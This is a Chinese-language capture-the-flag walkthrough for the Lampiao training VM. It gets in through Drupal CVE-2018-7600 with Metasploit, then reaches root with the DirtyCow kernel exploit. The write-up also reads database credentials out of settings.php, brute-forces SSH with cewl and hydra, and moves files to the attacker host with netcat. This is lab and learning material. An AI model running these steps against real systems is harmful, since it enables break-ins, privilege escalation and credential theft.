LAMPIAO训练靶机
1.arp-scan -l扫描到IP地址为:192.168.225.140
使用nmap扫描到开启了22和80端口以及1898端口:
nmap 192.168.225.140 -sV -sC -Pn -n -v -T5 -p-
2.访问1898端口,发现网页下面的标志:Powered by Drupal
1)进行dirsearch扫描,在目录中发现了robots.txt文件
查看该文件,查看CHANGELOG.txt文件,发现网站的版本信息7.54,看到cms的版本更新到Drupal7.54,最后更新时间为2017年2月1日
漏洞点:
Drupal Render API对于#会进行特殊处理。其中#pre_render在render之前操作数组,#post_render接收render的结果并在其添加包装,#lazy_builder用于在render过程的最后添加元素。由于对于部分#属性数组值,Drupal会通过call_user_func的方式进行处理,导致任意代码执行。
3.百度发现存在一个远程代码执行CVE-2018-7600漏洞,使用msf查看相关漏洞,选择2018年的哪一个漏洞:
set RHOSTS 192.168.225.140->set rport 1898->set target 04.然后执行这条命令才可以展开后续操作:sessions 1,拿到session会话,输入shell进入shell终端:

5.再利用python获得一个TTL终端:
python -c 'import pty; pty.spawn("/bin/bash")'6.使用uname -a打印所有可用的系统信息:发现linux内核更新时间为2016年7月13号,百度了一下应该存在CVE-2016-5195,也就是脏牛(DirtyCow)漏洞
漏洞范围:
Linux kernel>=2.6.22(2007年发行,到2016年10月18日才修复)
危害:
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
简要分析:
该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
7.在Kali中自带脏牛的脚本文件,打开新的终端,输入searchsploit dirty,找到需要的文件路径。
8.在meterpreter终端执行此命令:
upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp上传cpp文件到/tmp目录下,因为该目录一般是所有用户都具有可读可写权限:
9.再次使用shell,进入shell终端,使用python -c 'import pty; pty.spawn("/bin/bash")'进入TTL终端
10.上传成功后使用gcc进行编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
1-Wall:一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic:允许发出ANSI/ISO C标准所列出的所有警告
3-O2:编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11:就是用按C++2011标准来编译的
5-pthread:在Linux中要用到多线程时,需要链接pthread库
6-o dcow:gcc生成的目标文件,名字为dcow
再运行编译后文件并将结果输出到一个文本中./dcow>status.txt
11.再次使用./dcow > status.txt看到密码已经被重置:dirtyCowFun

12.成功提权:

13.ssh登陆,查看flag.txt文件
ssh root@192.168.225.140

14.查看到flag为:9740616875908d91ddcdaa8aea3af366

渗透思路:

1.失败尝试:
查看数据库信息
cat /var/www/html/sites/default/settings.php
看到数据库名和密码,‘username’ => ‘drupaluser’,‘password’ => ‘Virgulino’
提取文件中密码
cat /var/www/html/sites/default/settings.php | grep password
得到了两个密码password、Virgulino,但是这是数据库密码
1)尝试爆破root密码
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。
除此之外,Cewl还提供了命令行工具。命令:
cewl http://192.168.29.133:1898/?q=admin/ -w passwd.txt
爬虫根据指定的URL和深度进行爬取,并把内容写入名为passwd.txt的文件中,爆破ssh未果
2)爬取密码
使用Hydra爆破
Hydra是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
已经知道了用户名和密码,但是不知道是对应关系
爆破用户名为tiago,使用的密码字典为passwd.txt,攻击目标为192.168.29.133,使用模块为ssh,命令:
hydra -l tiago -P passwd.txt 192.168.29.133 ssh
爆破成功,用户名为tiago,密码为Virgulino,获取到靶机普通用户权限。
3)寻找突破口
1.msf进入www-data用户,说明需要提权:
2.ls -al查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看
3.先在攻击机上使用命令准备接收文件:nc =-lvp 1234>接受的文件名
4.在靶机传输文件:nc -w 3 10.10.10.12<要传输的文件名
5.在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现:
qrc.png:一个二维码,扫出来的结果是Try harger!muahuahuahua
audio.m4a:提示为user tiago,说明要先找到用户tiago的密码
uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常
lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写
6.继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码
参考文章:https://blog.csdn.net/weixin_44558065/article/details/118118037